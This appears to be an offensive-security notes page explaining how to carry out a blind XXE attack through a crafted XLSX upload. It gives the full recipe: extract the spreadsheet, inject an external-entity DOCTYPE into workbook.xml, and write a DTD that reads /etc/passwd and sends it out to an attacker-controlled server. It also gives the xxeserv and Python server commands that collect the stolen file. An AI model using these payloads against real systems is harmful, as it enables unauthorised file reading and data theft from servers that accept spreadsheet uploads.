Exploit Notes

Blind XXE

Last modified: 2023-03-03


XXE is a type of vulnerability that allows an attacker to inject and execute malicious XML code on a server that parses XML input, without directly receiving any feedback or response from the server.

Inside XLSX File

An XLSX file is a Microsoft Excel spreadsheet.

1. Create a XLSX File

First we need to create a XLSX file using some software such as LibreOffice Calc.

2. Extract the XLSX File

7z -oXXE xxe.xlsx
cd XXE

We should get files such as “.xml”.

3. Add Blind XXE Payload in the XML File.

Insert the following payload into the xl/workbook.xml.
Replace the “” with your local ip address.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "">%asd;%c;]>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">

4. Rebuild the XLSX File.

cd XXE
7z u ../xxe.xlsx *

5. Create XXE inside a DTD File

Create “xxe.dtd”.
Replace “” with your local ip address.

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM ';'>">

5. Start a local server

Serve the DTD file using xxeserv.

git clone https://github.com/staaldraad/xxeserv.git
cd xxeserv
go mod init xxeftp.go
go build
go run xxeftp.go -o files.log -p 2121 -w -wd public -wp 8000

In another terminal, start a web server in the directory where “xxe.dtd” located.

sudo python3 -m http.server 80

Now upload “xxe.xlsx” file in the website. We should get the content of the desired file.

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